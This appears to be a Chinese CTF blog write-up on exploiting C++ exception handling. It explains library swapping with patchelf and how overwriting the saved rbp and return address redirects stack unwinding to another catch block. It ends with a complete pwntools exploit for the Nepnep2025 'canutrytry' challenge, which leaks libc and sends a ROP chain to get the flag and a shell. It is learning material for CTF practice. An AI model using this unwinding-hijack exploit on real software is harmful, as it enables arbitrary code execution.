pwn-C++异常处理利用
前置准备(如何更换一个c++编译而成的程序的依赖库)
一个题目如果需要用到libc的话,其他依赖库可能不会给你,但一般都会给libc,告诉是哪个版本的,我们需要获取对应版本的其他依赖库,这里给出的方法是从docker中拷贝
1.执行如下命令创建对应版本的docker,获取对应版本的依赖库,这条命令创建的是22.04的docker,扒的是2.35的libc,根据自己的需要更换版本
1
| docker run -it ubuntu:22.04 /bin/bash
|
2.进入dorker后,这个版本对应的所有依赖库一般在/usr/lib/x86_64-linux-gnu目录下,通过ls命令可以查看到所有的依赖库(我的是这样的),然后通过docker的命令将自己所需要的依赖库拷贝到本地即可
1 2 3
| docker cp your_docker_id://usr/lib/x86_64-linux-gnu/libc path/to/your_desktop
|
3.通过patchelf更换一个文件的对应的依赖库,这个就不赘述了,主要就是通过这些命令替换
1 2
| patchelf --replace-needed libc.so.6 ./libc.so.6 pwn patchelf --set-interpreter ./ld-linux-x86-64.so.2 pwn
|
这里有个坑需要注意,困扰了我好长时间,我在更换libm.so.6的时候一直不成功,这是因为文件是通过libstdc++.so.6来连接libm.so.6的,需要更换libstdc++.so.6的依赖库,才可以修改成功

1
| patchelf --replace-needed ./libm.so.6 ./libm.so.6 libstdc++.so.6
|
这样就可以正确的更换所需的配套的依赖库了
C++异常处理分析
具体详细分析和讲解这里就不再说明了,大家可以参考这些大佬写的文章,很详细,文章1,文章2
这里主要说以下我调试过程中的一些体会
1.try模块和catch模块是不会在ida里以伪代码的形式呈现的,需要在汇编指令窗口查看
2.当程序执行到__cxa_throw函数时,在这个函数里会调用_Unwind_RaiseException进行栈回退,并在_Unwind_RaiseException+463的地方查看目前回退到的这个函数栈帧是否存在catch模块可以捕获异常,如果存在,便会执行catch模块中的代码,否则会terminate强制程序终止
3.虽然编写C++代码时一个try对应的一个catch,正常情况栈回退会找到与之对应的catch模块,但是我们可以攻击栈回退时依赖的ret地址,使抛出的异常被其他try对应的catch捕获,这样就可以执行其他catch中的代码了,如果正好是后门函数,那就可以直接get_shell了
4.要想让throw抛出的错误被一个catch捕获,栈回退中的ret的地址必须是你想要执行的catch代码对应的try模块中的汇编指令或者是其仅挨着的下一条汇编指令,才能正确catch异常并执行catch模块中的代码

比如上图中的try模块,要想catch后执行和这个try对应的catch中的的代码,你的ret地址必须是0x401eea~0x401f0b(0x401eea可能不行,没试过),但是如果超过了0x401f0b,就不会正确执行到catch中的代码,而是会执行terminate,ret的地址你可以在执行到_Unwind_RaiseException+463的时候查看,在rdx寄存器里

像此时,程序执行到了_Unwind_RaiseException+463,而rdx里的值是0x401efc,显然在上图的范围内,这就说明这已经是最后_Unwind_RaiseException进行的最后一次栈回退了,这次回退过后就可以找到catch模块,然后去执行catch里的代码了
5.在进入__cxa_throw前的函数栈帧的rbp和ret的地址该覆盖为什么值,该怎么选择呢?
可以看到在进入__cxa_throw之前,rbp里储存的值是0x405460,而ret里储存的值是0x401ed9

可以看到在Unwind_RaiseException执行完后rbp的值就变成了0x405460,而下一条指令执行的值0x401f19是0x401ed9对应的catch模块里的代码,通过这个关系,应该就可以按照自己的思路来布置自己的payload来覆盖rbp和ret了

Nepnep2025 canutrytry
笔者太懒了,不想分析题目讲解exp了,这里放一遍大佬的wp大家参考吧,文章链接,相信通过上述的分析,一步一步调试exp,可以调懂的
原谅我折磨懒qaq
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| from pwn import *
context(arch="amd64", os="linux") context.log_level='debug' context.terminal = ["tmux", "splitw", "-v", "-l", "190"]
libc_base=0x0 heap_base=0x0 pie=0x0
def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
r = lambda a : p.recv(a) rl = lambda a=False : p.recvline(a) ru = lambda a : p.recvuntil(a) s = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) shell = lambda : p.interactive() li = lambda offset :libc_base+offset lis= lambda func :libc_base+libc.symbols[func] pi = lambda offset :pie+offset he = lambda offset :heap_base+offset l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) ggg = lambda :(gdb.attach(p),pause())
def visit_1(): sla(b'your choice >>',b'1') sla(b'your choice >>',b'1')
def visit_2(size): sla(b'your choice >>',b'1') sla(b'your choice >>',b'2') sla(b'size:',str(size).encode())
def visit_3(index,content): sla(b'your choice >>',b'1') sla(b'your choice >>',b'3') sla(b'index:',str(index).encode()) sa(b'content:',content)
def leave(index): sla(b'your choice >>',b'2') sla(b'index: ',str(index).encode())
libc=ELF('./libc.so.6')
p = remote("nepctf30-re0p-1yod-ovkd-tywcgo6zc386.nepctf.com", 443, ssl=True) visit_2(0x38) visit_1() visit_2(-1) visit_1() ru(b'setbufaddr:0x') libc_base=int(ru('\n')[:-1],16)-0x87fe0-0x80 ru(b'stackaddr:0x') stack=int(ru('\n')[:-1],16) payload=b'a'*0x20+p64(0x405460)+p64(0x401ed9)
rdi=li(0x000000000002a3e5) rsi=li(0x000000000002be51) rdx_r12=li(0x000000000011f497) write=lis('write') visit_3(0,payload) leave(0) payload=p64(rdi)+p64(2)+p64(rsi)+p64(0x4053c0)+p64(rdx_r12)+p64(0x64)+p64(0)+p64(write) sla(b'well,prepare your rop now!\n',payload) sla(b'Enter your flag: ',b'aaa') payload=b'a'*0x10+p64(0x405458) print(hex(libc_base)) s(payload) shell()
|